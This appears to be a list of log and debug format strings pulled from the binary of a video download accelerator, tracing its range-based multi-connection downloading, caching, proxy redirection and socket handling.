[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...
[FileDownloadMgr::ResumeCaching] FDM=%d
[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s
pHttpProxyRemote
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.
[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)
[FileDownloadMgr::NotifyOnStop] FDM=%d
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...
[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.
[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s
[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***
[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url
[FileDownloadMgr::GetCacheData] FDM=%d
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.
[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.
[FileDownloadMgr::GetRequestFromQueue] FDM=%d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d
[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers
[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !
[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.
[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d
[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s
WARNING: Master passed all workers
WARNING: HD Acceleration not supported
ERROR: Dailymotion seek not supported
WARNING: Server in non support range servers list
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***
[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d
[ACCELINFO::OnDeserialize] ___Error get URL
[FileDownloadMgr::AddRequest] FDM=%d
[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...
[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue
[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.
[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)
[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d
[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)
************ URL: %.800s ************
************ End: d:d:d::d ************
************ Start: d:d:d::d ************
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d
[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::Stop] FDM=%d - All connections where closed.
[FileDownloadMgr::Stop] FDM=%d - Closing all connections.
[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.
[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.
[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.
[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.
[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.
[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...
[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.
[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!
[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---
[FileDownloadMgr::RecoverFailedDownload] FDM=%d
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid
[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld
?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s
JsDriver.exe
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.
[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range
[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification
[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received
[~FileDownloadMgr] FDM=%d - Leave
[~FileDownloadMgr] FDM=%d - Enter
[FileDownloadMgr] FDM=%d
[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d
[FileDownloadMgr] FDM=%d, StartCachingSize: %d
[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration
[FileDownloadMgr] FDM=%d ___Error invalid Config
[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr
[FileDownloadMgr::DownloadCacheData] FDM=%d
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence
[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request
[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...
[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---
[FileDownloadMgr::Work] FDM=%d - Exit thread now...
[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###
[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[HttpProxyRemote - %p] FDM=%d (%d).
[~HttpProxyRemote - %p] FDM=%d (%d).
[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d
[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo
[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld
[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).
HttpProxyRemote::WriteCachedBufferToSocket
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.
HttpProxyRemote::ConnectToDomain
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !
[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)
